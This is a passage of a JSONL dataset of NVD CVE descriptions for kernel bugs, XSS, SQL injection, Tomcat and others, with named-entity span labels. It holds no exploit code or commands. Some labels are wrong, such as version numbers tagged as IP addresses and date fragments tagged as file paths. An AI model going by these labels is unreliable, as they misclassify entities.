cbb375c44bf28564ce479002bff66617a25d9ac1]\n ? __mutex_unlock_slowpath+0xa0/0xf0\n rtw89_ops_assign_vif_chanctx+0x4b/0x90 [rtw89_core cbb375c44bf28564ce479002bff66617a25d9ac1]\n drv_assign_vif_chanctx+0xa7/0x1f0 [mac80211 6efaad16237edaaea0868b132d4f93ecf918a8b6]\n ieee80211_reconfig+0x9cb/0x17b0 [mac80211 6efaad16237edaaea0868b132d4f93ecf918a8b6]\n ? __pfx_wiphy_resume+0x10/0x10 [cfg80211 572d03acaaa933fe38251be7fce3b3675284b8ed]\n ? dev_printk_emit+0x51/0x70\n ? _dev_info+0x6e/0x90\n wiphy_resume+0x89/0x180 [cfg80211 572d03acaaa933fe38251be7fce3b3675284b8ed]\n ? __pfx_wiphy_resume+0x10/0x10 [cfg80211 572d03acaaa933fe38251be7fce3b3675284b8ed]\n dpm_run_callback+0x37/0x1e0\n device_resume+0x26d/0x4b0\n ? __pfx_dpm_watchdog_handler+0x10/0x10\n async_resume+0x1d/0x30\n async_run_entry_fn+0x29/0xd0\n worker_thread+0x397/0x970\n kthread+0xed/0x110\n ? __pfx_worker_thread+0x10/0x10\n ? __pfx_kthread+0x10/0x10\n ret_from_fork+0x38/0x50\n ? __pfx_kthread+0x10/0x10\n ret_from_fork_asm+0x1b/0x30\n </TASK>", "spans": {"HASH: cbb375c44bf28564ce479002bff66617a25d9ac1": [[2413, 2453], [2544, 2584]], "HASH: 6efaad16237edaaea0868b132d4f93ecf918a8b6": [[2631, 2671], [2716, 2756]], "HASH: 572d03acaaa933fe38251be7fce3b3675284b8ed": [[2800, 2840], [2929, 2969], [3013, 3053]], "FILEPATH: /25/2024": [[1269, 1277]], "FILEPATH: list_debug.c": [[1072, 1084]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1208, 1214]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21730"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfbdev: omap: use threaded IRQ for LCD DMA\n\nWhen using touchscreen and framebuffer, Nokia 770 crashes easily with:\n\n    BUG: scheduling while atomic: irq/144-ads7846/82/0x00010000\n    Modules linked in: usb_f_ecm g_ether usb_f_rndis u_ether libcomposite configfs omap_udc ohci_omap ohci_hcd\n    CPU: 0 UID: 0 PID: 82 Comm: irq/144-ads7846 Not tainted 6.12.7-770 #2\n    Hardware name: Nokia 770\n    Call trace:\n     unwind_backtrace from show_stack+0x10/0x14\n     show_stack from dump_stack_lvl+0x54/0x5c\n     dump_stack_lvl from __schedule_bug+0x50/0x70\n     __schedule_bug from __schedule+0x4d4/0x5bc\n     __schedule from schedule+0x34/0xa0\n     schedule from schedule_preempt_disabled+0xc/0x10\n     schedule_preempt_disabled from __mutex_lock.constprop.0+0x218/0x3b4\n     __mutex_lock.constprop.0 from clk_prepare_lock+0x38/0xe4\n     clk_prepare_lock from clk_set_rate+0x18/0x154\n     clk_set_rate from sossi_read_data+0x4c/0x168\n     sossi_read_data from hwa742_read_reg+0x5c/0x8c\n     hwa742_read_reg from send_frame_handler+0xfc/0x300\n     send_frame_handler from process_pending_requests+0x74/0xd0\n     process_pending_requests from lcd_dma_irq_handler+0x50/0x74\n     lcd_dma_irq_handler from __handle_irq_event_percpu+0x44/0x130\n     __handle_irq_event_percpu from handle_irq_event+0x28/0x68\n     handle_irq_event from handle_level_irq+0x9c/0x170\n     handle_level_irq from generic_handle_domain_irq+0x2c/0x3c\n     generic_handle_domain_irq from omap1_handle_irq+0x40/0x8c\n     omap1_handle_irq from generic_handle_arch_irq+0x28/0x3c\n     generic_handle_arch_irq from call_with_stack+0x1c/0x24\n     call_with_stack from __irq_svc+0x94/0xa8\n    Exception stack(0xc5255da0 to 0xc5255de8)\n    5da0: 00000001 c22fc620 00000000 00000000 c08384a8 c106fc00 00000000 c240c248\n    5dc0: c113a600 c3f6ec30 00000001 00000000 c22fc620 c5255df0 c22fc620 c0279a94\n    5de0: 60000013 ffffffff\n     __irq_svc from clk_prepare_lock+0x4c/0xe4\n     clk_prepare_lock from clk_get_rate+0x10/0x74\n     clk_get_rate from uwire_setup_transfer+0x40/0x180\n     uwire_setup_transfer from spi_bitbang_transfer_one+0x2c/0x9c\n     spi_bitbang_transfer_one from spi_transfer_one_message+0x2d0/0x664\n     spi_transfer_one_message from __spi_pump_transfer_message+0x29c/0x498\n     __spi_pump_transfer_message from __spi_sync+0x1f8/0x2e8\n     __spi_sync from spi_sync+0x24/0x40\n     spi_sync from ads7846_halfd_read_state+0x5c/0x1c0\n     ads7846_halfd_read_state from ads7846_irq+0x58/0x348\n     ads7846_irq from irq_thread_fn+0x1c/0x78\n     irq_thread_fn from irq_thread+0x120/0x228\n     irq_thread from kthread+0xc8/0xe8\n     kthread from ret_from_fork+0x14/0x28\n\nAs a quick fix, switch to a threaded IRQ which provides a stable system.", "spans": {"FILEPATH: /144-ads7846/82/0x00010000": [[221, 247]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21821"}}
{"text": "<p>Microsoft is investigating reports of a remote code execution vulnerability in MSHTML that affects Microsoft Windows. Microsoft is aware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents.</p>\n<p>An attacker could craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine. The attacker would then have to convince the user to open the malicious document. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.</p>\n<p>Microsoft Defender Antivirus and Microsoft Defender for Endpoint both provide detection and protections for the known vulnerability. Customers should keep antimalware products up to date. Customers who utilize automatic updates do not need to take additional action. Enterprise customers who manage updates should select the detection build 1.349.22.0 or newer and deploy it across their environments. Microsoft Defender for Endpoint alerts will be displayed as: “Suspicious Cpl File Execution”.</p>\n<p>Upon completion of this investigation, Microsoft will take the appropriate action to help protect our customers. This may include providing a security update through our monthly release process or providing an out-of-cycle security update, depending on customer needs.</p>\n<p>Please see the <strong>Mitigations</strong> and <strong>Workaround</strong> sections for important information about steps you can take to protect your system from this vulnerability.</p>\n<p><strong>UPDATE</strong> September 14, 2021: Microsoft has released security updates to address this vulnerability. Please see the Security Updates table for the applicable update for your system. We recommend that you install these updates immediately. Please see the FAQ for important information about which updates are applicable to your system.</p>", "spans": {"IP_ADDRESS: 1.349.22.0": [[985, 995]], "SYSTEM: Microsoft Office": [[230, 246], [333, 349]], "SYSTEM: Windows": [[112, 119]], "ORGANIZATION: Microsoft": [[3, 12], [102, 111], [121, 130], [644, 653], [677, 686], [1046, 1055], [1186, 1195], [1658, 1667]], "VULNERABILITY: remote code execution": [[43, 64]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-40444"}}
{"text": "An unsafe default configuration in KNIME Analytics Platform before 5.2.0 allows for a cross-site scripting attack. When KNIME Analytics Platform is used as an executor for either KNIME Server or KNIME Business Hub several JavaScript-based view nodes do not sanitize the data that is displayed by default. If the data to be displayed contains JavaScript this code is executed in the browser and can perform any operations that the current user is allowed to perform silently.\n\n\n\n\nKNIME Analytics Platform already has configuration options with which sanitization of data can be actived, see  https://docs.knime.com/latest/webportal_admin_guide/index.html#html-sanitization-webportal https://docs.knime.com/latest/webportal_admin_guide/index.html#html-sanitization-webportal . However, these are off by default which allows for cross-site scripting attacks.\n\n\nKNIME Analytics Platform 5.2.0 will enable sanitization by default. For all previous releases we recommend users to add the corresponding settings to the executor's knime.ini.", "spans": {"URL: https://docs.knime.com/latest/webportal_admin_guide/index.html#html-sanitization-webportal": [[591, 681], [682, 772]], "FILEPATH: knime.ini": [[1023, 1032]], "VULNERABILITY: cross-site scripting": [[86, 106], [826, 846]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-5562"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/huge_memory: fix folio isn't locked in softleaf_to_folio()\n\nOn arm64 server, we found folio that get from migration entry isn't locked\nin softleaf_to_folio().  This issue triggers when mTHP splitting and\nzap_nonpresent_ptes() races, and the root cause is lack of memory barrier\nin softleaf_to_folio().  The race is as follows:\n\n\tCPU0                                             CPU1\n\ndeferred_split_scan()                              zap_nonpresent_ptes()\n  lock folio\n  split_folio()\n    unmap_folio()\n      change ptes to migration entries\n    __split_folio_to_order()                         softleaf_to_folio()\n      set flags(including PG_locked) for tail pages    folio = pfn_folio(softleaf_to_pfn(entry))\n      smp_wmb()                                        VM_WARN_ON_ONCE(!folio_test_locked(folio))\n      prep_compound_page() for tail pages\n\nIn __split_folio_to_order(), smp_wmb() guarantees page flags of tail pages\nare visible before the tail page becomes non-compound.  smp_wmb() should\nbe paired with smp_rmb() in softleaf_to_folio(), which is missed.  As a\nresult, if zap_nonpresent_ptes() accesses migration entry that stores tail\npfn, softleaf_to_folio() may see the updated compound_head of tail page\nbefore page->flags.\n\nThis issue will trigger VM_WARN_ON_ONCE() in pfn_swap_entry_folio()\nbecause of the race between folio split and zap_nonpresent_ptes()\nleading to a folio incorrectly undergoing modification without a folio\nlock being held.\n\nThis is a BUG_ON() before commit 93976a20345b (\"mm: eliminate further\nswapops predicates\"), which in merged in v6.19-rc1.\n\nTo fix it, add missing smp_rmb() if the softleaf entry is migration entry\nin softleaf_to_folio() and softleaf_to_page().\n\n[tujinjiang@huawei.com: update function name and comments]", "spans": {"DOMAIN: huawei.com": [[1794, 1804]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-31466"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nocfs2: fix races between hole punching and AIO+DIO\n\nAfter commit \"ocfs2: return real error code in ocfs2_dio_wr_get_block\",\nfstests/generic/300 become from always failed to sometimes failed:\n\n========================================================================\n[  473.293420 ] run fstests generic/300\n\n[  475.296983 ] JBD2: Ignoring recovery information on journal\n[  475.302473 ] ocfs2: Mounting device (253,1) on (node local, slot 0) with ordered data mode.\n[  494.290998 ] OCFS2: ERROR (device dm-1): ocfs2_change_extent_flag: Owner 5668 has an extent at cpos 78723 which can no longer be found\n[  494.291609 ] On-disk corruption discovered. Please run fsck.ocfs2 once the filesystem is unmounted.\n[  494.292018 ] OCFS2: File system is now read-only.\n[  494.292224 ] (kworker/19:11,2628,19):ocfs2_mark_extent_written:5272 ERROR: status = -30\n[  494.292602 ] (kworker/19:11,2628,19):ocfs2_dio_end_io_write:2374 ERROR: status = -3\nfio: io_u error on file /mnt/scratch/racer: Read-only file system: write offset=460849152, buflen=131072\n=========================================================================\n\nIn __blockdev_direct_IO, ocfs2_dio_wr_get_block is called to add unwritten\nextents to a list.  extents are also inserted into extent tree in\nocfs2_write_begin_nolock.  Then another thread call fallocate to puch a\nhole at one of the unwritten extent.  The extent at cpos was removed by\nocfs2_remove_extent().  At end io worker thread, ocfs2_search_extent_list\nfound there is no such extent at the cpos.\n\n    T1                        T2                T3\n                              inode lock\n                                ...\n                                insert extents\n                                ...\n                              inode unlock\nocfs2_fallocate\n __ocfs2_change_file_space\n  inode lock\n  lock ip_alloc_sem\n  ocfs2_remove_inode_range inode\n   ocfs2_remove_btree_range\n    ocfs2_remove_extent\n    ^---remove the extent at cpos 78723\n  ...\n  unlock ip_alloc_sem\n  inode unlock\n                                       ocfs2_dio_end_io\n                                        ocfs2_dio_end_io_write\n                                         lock ip_alloc_sem\n                                         ocfs2_mark_extent_written\n                                          ocfs2_change_extent_flag\n                                           ocfs2_search_extent_list\n                                           ^---failed to find extent\n                                          ...\n                                          unlock ip_alloc_sem\n\nIn most filesystems, fallocate is not compatible with racing with AIO+DIO,\nso fix it by adding to wait for all dio before fallocate/punch_hole like\next4.", "spans": {"FILEPATH: /generic/300": [[200, 212]], "FILEPATH: /mnt/scratch/racer": [[1029, 1047]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-40943"}}
{"text": "DHIS 2 is an information system for data capture, management, validation, analytics and visualization. A SQL injection security vulnerability has been found in specific versions of DHIS2. This vulnerability affects the /api/trackedEntityInstances API endpoint in DHIS2 versions 2.34.4, 2.35.2, 2.35.3, 2.35.4, and 2.36.0. Earlier versions, such as 2.34.3 and 2.35.1 and all versions 2.33 and older are unaffected. The system is vulnerable to attack only from users that are logged in to DHIS2, and there is no known way of exploiting the vulnerability without first being logged in as a DHIS2 user. A successful exploit of this vulnerability could allow the malicious user to read, edit and delete data in the DHIS2 instance. There are no known exploits of the security vulnerabilities addressed by these patch releases. However, we strongly recommend that all DHIS2 implementations using versions 2.34, 2.35 and 2.36 install these patches as soon as possible. There is no straightforward known workaround for DHIS2 instances using the Tracker functionality other than upgrading the affected DHIS2 server to one of the patches in which this vulnerability has been fixed. For implementations which do NOT use Tracker functionality, it may be possible to block all network access to POST to the /api/trackedEntityInstance endpoint as a temporary workaround while waiting to upgrade.", "spans": {"FILEPATH: /api/trackedEntityInstances": [[219, 246]], "FILEPATH: /api/trackedEntityInstance": [[1293, 1319]], "VULNERABILITY: SQL injection": [[105, 118]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32704"}}
{"text": "openapi-to-java-records-mustache-templates allows users to generate Java Records from OpenAPI specifications. Starting in version 5.1.1 and prior to version 5.5.1, the parent POM file of this project (`openapi-to-java-records-mustache-templates-parent`), which is used to centralize plugin configurations for multiple unit-test modules, uses `maven-dependency-plugin` to unpack arbitrary `.mustache` files from the `openapi-to-java-records-mustache-templates` artifact (of the same version). While this parent POM file is not intended for external use, it is published, and could be used by anyone, and does not follow the best security practices. The risk, is that if `openapi-to-java-records-mustache-templates` would be compromised, and malicious `.mustache` files were to be included in the resulting JAR/artifact, users would unpack these files automatically during a dependency update. This is addressed in the v3.5.1 release of `openapi-to-java-records-mustache-templates-parent`. It is strongly recommended NOT to use the parent POM for external use. The `openapi-to-java-records-mustache-templates` module is the center of this project, and surrounding modules and configurations are not intended for production-use. These only exist for testing purposes and maintainability.", "spans": {"SYSTEM: Java": [[68, 72]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32735"}}
{"text": "RSSHub is an RSS network. Prior to commit 64e00e7, RSSHub's `docker-test-cont.yml` workflow is vulnerable to Artifact Poisoning, which could have lead to a full repository takeover. Downstream users of RSSHub are not vulnerable to this issue, and commit 64e00e7 fixed the underlying issue and made the repository no longer vulnerable. The `docker-test-cont.yml` workflow gets triggered when the `PR - Docker build test` workflow completes successfully. It then collects some information about the Pull Request that triggered the triggering workflow and set some labels depending on the PR body and sender. If the PR also contains a `routes` markdown block, it will set the `TEST_CONTINUE` environment variable to `true`. The workflow then downloads and extracts an artifact uploaded by the triggering workflow which is expected to contain a single `rsshub.tar.zst` file. However, prior to commit 64e00e7, it did not validate and the contents were extracted in the root of the workspace overriding any existing files. Since the contents of the artifact were not validated, it is possible for a malicious actor to send a Pull Request which uploads, not just the `rsshub.tar.zst` compressed docker image, but also a malicious `package.json` file with a script to run arbitrary code in the context of the privileged workflow. As of commit 64e00e7, this scenario has been addressed and the RSSHub repository is no longer vulnerable.", "spans": {"FILEPATH: cont.yml": [[73, 81], [352, 360]], "FILEPATH: package.json": [[1224, 1236]], "ORGANIZATION: Docker": [[401, 407]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-47179"}}
{"text": "Path Equivalence: 'file.Name' (Internal Dot) leading to Remote Code Execution and/or Information disclosure and/or malicious content added to uploaded files via write enabled Default Servlet in Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.2, from 10.1.0-M1 through 10.1.34, from 9.0.0.M1 through 9.0.98.\nThe following versions were EOL at the time the CVE was created but are \nknown to be affected: 8.5.0 though 8.5.100. Other, older, EOL versions \nmay also be affected.\n\n\nIf all of the following were true, a malicious user was able to view       security sensitive files and/or inject content into those files:\n- writes enabled for the default servlet (disabled by default)\n- support for partial PUT (enabled by default)\n- a target URL for security sensitive uploads that was a sub-directory of a target URL for public uploads\n- attacker knowledge of the names of security sensitive files being uploaded\n- the security sensitive files also being uploaded via partial PUT\n\nIf all of the following were true, a malicious user was able to       perform remote code execution:\n- writes enabled for the default servlet (disabled by default)\n- support for partial PUT (enabled by default)\n- application was using Tomcat's file based session persistence with the default storage location\n- application included a library that may be leveraged in a deserialization attack\n\nUsers are recommended to upgrade to version 11.0.3, 10.1.35 or 9.0.99, which fixes the issue.", "spans": {"SYSTEM: Apache Tomcat": [[194, 207], [229, 242]], "VULNERABILITY: Information disclosure": [[85, 107]], "VULNERABILITY: Remote Code Execution": [[56, 77]], "VULNERABILITY: remote code execution": [[1085, 1106]], "VULNERABILITY: deserialization": [[1376, 1391]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-24813"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. The `tf.raw_ops.Conv3DBackprop*` operations fail to validate that the input tensors are not empty. In turn, this would result in a division by 0. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/a91bb59769f19146d5a0c20060244378e878f140/tensorflow/core/kernels/conv_grad_ops_3d.cc#L430-L450) does not check that the divisor used in computing the shard size is not zero. Thus, if attacker controls the input sizes, they can trigger a denial of service via a division by zero error. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/a91bb59769f19146d5a0c20060244378e878f140/tensorflow/core/kernels/conv_grad_ops_3d.cc#L430-L450": [[252, 392]], "VULNERABILITY: denial of service": [[535, 552]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29522"}}
{"text": "A vulnerability exists in the IEC 61850 communication stack that affects multiple Hitachi Energy products. \n\nAn attacker could exploit the vulnerability by using a specially crafted message sequence, to force the IEC 61850 MMS-server communication stack, to stop accepting new MMS-client connections. \n\n\n\n\nAlready existing/established client-server connections are not affected.\n\n\n\n\n\nList of affected CPEs:\n\n\n\n\n  *  cpe:2.3:o:hitachienergy:fox61x_tego1:r15b08:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:fox61x_tego1:r2a16_3:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:fox61x_tego1:r2a16:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:fox61x_tego1:r1e01:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:fox61x_tego1:r1d02:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:fox61x_tego1:r1c07:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:fox61x_tego1:r1b02:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:gms600:1.3.0:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:itt600_sa_explorer:1.1.*:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:itt600_sa_explorer:1.5.*:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:itt600_sa_explorer:1.6.0:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:itt600_sa_explorer:1.6.0.1:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:itt600_sa_explorer:1.7.0:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:itt600_sa_explorer:1.7.2:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:itt600_sa_explorer:1.8.0:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:itt600_sa_explorer:2.0.*:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:itt600_sa_explorer:2.1.0.4:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:itt600_sa_explorer:2.1.0.5:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:microscada_x_sys600:10:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:microscada_x_sys600:10.*:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:microscada_x_sys600:10.2:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:microscada_x_sys600:10.2.1:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:microscada_x_sys600:10.3:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:microscada_x_sys600:10.3.1:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:microscada_x_sys600:10.4:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:microscada_x_sys600:10.4.1:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:mms:2.2.3:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:pwc600:1.0:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:pwc600:1.1:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:pwc600:1.2:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:reb500:7:*:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:reb500:8:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:relion670:1.2.*:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:relion670:2.0.*:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:relion650:1.1.*:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:relion650:1.3.*:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:relion650:2.1.*:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:relion670:2.1.*:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:relionSAM600-IO:2.2.1:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:relionSAM600-IO:2.2.5:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:relion670:2.2.*:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:relion650:2.2.*:*:*:*:*:*:*:*\n  *  cpe:2.3:o:hitachienergy:rtu500cmu:12.*.*:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:rtu500cmu:13.*.*:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:txpert_hub_coretec_4:2.*:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:txpert_hub_coretec_4:3.0:*:*:*:*:*:*:*\n  *  cpe:2.3:a:hitachienergy:txpert_hub_coretec_5:3.0:*:*:*:*:*:*:*", "spans": {"IP_ADDRESS: 1.6.0.1": [[1156, 1163]], "IP_ADDRESS: 2.1.0.4": [[1498, 1505]], "IP_ADDRESS: 2.1.0.5": [[1568, 1575]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-3353"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix index out of bounds in DCN30 color transformation\n\nThis commit addresses a potential index out of bounds issue in the\n`cm3_helper_translate_curve_to_hw_format` function in the DCN30 color\nmanagement module. The issue could occur when the index 'i' exceeds the\nnumber of transfer function points (TRANSFER_FUNC_POINTS).\n\nThe fix adds a check to ensure 'i' is within bounds before accessing the\ntransfer function points. If 'i' is out of bounds, the function returns\nfalse to indicate an error.\n\ndrivers/gpu/drm/amd/amdgpu/../display/dc/dcn30/dcn30_cm_common.c:180 cm3_helper_translate_curve_to_hw_format() error: buffer overflow 'output_tf->tf_pts.red' 1025 <= s32max\ndrivers/gpu/drm/amd/amdgpu/../display/dc/dcn30/dcn30_cm_common.c:181 cm3_helper_translate_curve_to_hw_format() error: buffer overflow 'output_tf->tf_pts.green' 1025 <= s32max\ndrivers/gpu/drm/amd/amdgpu/../display/dc/dcn30/dcn30_cm_common.c:182 cm3_helper_translate_curve_to_hw_format() error: buffer overflow 'output_tf->tf_pts.blue' 1025 <= s32max", "spans": {"FILEPATH: /amd/display": [[72, 84]], "FILEPATH: /gpu/drm/amd/amdgpu/../display/dc/dcn30/dcn30_cm_common.c": [[591, 648], [764, 821], [939, 996]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: buffer overflow": [[702, 717], [875, 890], [1050, 1065]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-49969"}}
{"text": "Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts. This stems from several causes: 1. mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended. 2. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts. 3. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector. The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations. In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms: 1. Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=. 2. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=.", "spans": {"VULNERABILITY: denial of service": [[816, 833]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-24536"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndriver core: fix potential null-ptr-deref in device_add()\n\nI got the following null-ptr-deref report while doing fault injection test:\n\nBUG: kernel NULL pointer dereference, address: 0000000000000058\nCPU: 2 PID: 278 Comm: 37-i2c-ds2482 Tainted: G    B   W        N 6.1.0-rc3+\nRIP: 0010:klist_put+0x2d/0xd0\nCall Trace:\n <TASK>\n klist_remove+0xf1/0x1c0\n device_release_driver_internal+0x196/0x210\n bus_remove_device+0x1bd/0x240\n device_add+0xd3d/0x1100\n w1_add_master_device+0x476/0x490 [wire]\n ds2482_probe+0x303/0x3e0 [ds2482]\n\nThis is how it happened:\n\nw1_alloc_dev()\n  // The dev->driver is set to w1_master_driver.\n  memcpy(&dev->dev, device, sizeof(struct device));\n  device_add()\n    bus_add_device()\n    dpm_sysfs_add() // It fails, calls bus_remove_device.\n\n    // error path\n    bus_remove_device()\n      // The dev->driver is not null, but driver is not bound.\n      __device_release_driver()\n        klist_remove(&dev->p->knode_driver) <-- It causes null-ptr-deref.\n\n    // normal path\n    bus_probe_device() // It's not called yet.\n      device_bind_driver()\n\nIf dev->driver is set, in the error path after calling bus_add_device()\nin device_add(), bus_remove_device() is called, then the device will be\ndetached from driver. But device_bind_driver() is not called yet, so it\ncauses null-ptr-deref while access the 'knode_driver'. To fix this, set\ndev->driver to null in the error path before calling bus_remove_device().", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[217, 241]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-54321"}}
{"text": "Cross Site Scripting (XSS) in Lin-CMS-Flask v0.1.1 allows remote attackers to execute arbitrary code by entering scripts in the the 'Username' parameter of the in component 'app/api/cms/user.py'.", "spans": {"FILEPATH: /api/cms/user.py": [[177, 193]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-18699"}}
{"text": "Tauri is a framework for building binaries for all major desktop platforms. In versions prior to 1.0.7 and 1.1.2, Tauri is vulnerable to an Incorrectly-Resolved Name. Due to incorrect escaping of special characters in paths selected via the file dialog and drag and drop functionality, it is possible to partially bypass the `fs` scope definition. It is not possible to traverse into arbitrary paths, as the issue is limited to neighboring files and sub folders of already allowed paths. The impact differs on Windows, MacOS and Linux due to different specifications of valid path characters. This bypass depends on the file picker dialog or dragged files, as user selected paths are automatically added to the allow list at runtime. A successful bypass requires the user to select a pre-existing malicious file or directory during the file picker dialog and an adversary controlled logic to access these files. The issue has been patched in versions 1.0.7, 1.1.2 and 1.2.0. As a workaround, disable the dialog and fileDropEnabled component inside the tauri.conf.json.", "spans": {"FILEPATH: tauri.conf": [[1052, 1062]], "SYSTEM: Windows": [[510, 517]], "SYSTEM: Linux": [[529, 534]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-41874"}}
{"text": "Vulnerability in the Java SE, Java SE Embedded product of Oracle Java SE (component: Libraries). Supported versions that are affected are Java SE: 7u271, 8u261, 11.0.8 and 15; Java SE Embedded: 8u261. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Java SE, Java SE Embedded. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Java SE, Java SE Embedded accessible data. Note: Applies to client and server deployment of Java. This vulnerability can be exploited through sandboxed Java Web Start applications and sandboxed Java applets. It can also be exploited by supplying data to APIs in the specified Component without using sandboxed Java Web Start applications or sandboxed Java applets, such as through a web service. CVSS 3.1 Base Score 3.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N).", "spans": {"SYSTEM: Java": [[21, 25], [30, 34], [65, 69], [138, 142], [176, 180], [325, 329], [334, 338], [463, 467], [472, 476], [555, 559], [615, 619], [657, 661], [773, 777], [814, 818]], "ORGANIZATION: Oracle": [[58, 64]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14797"}}
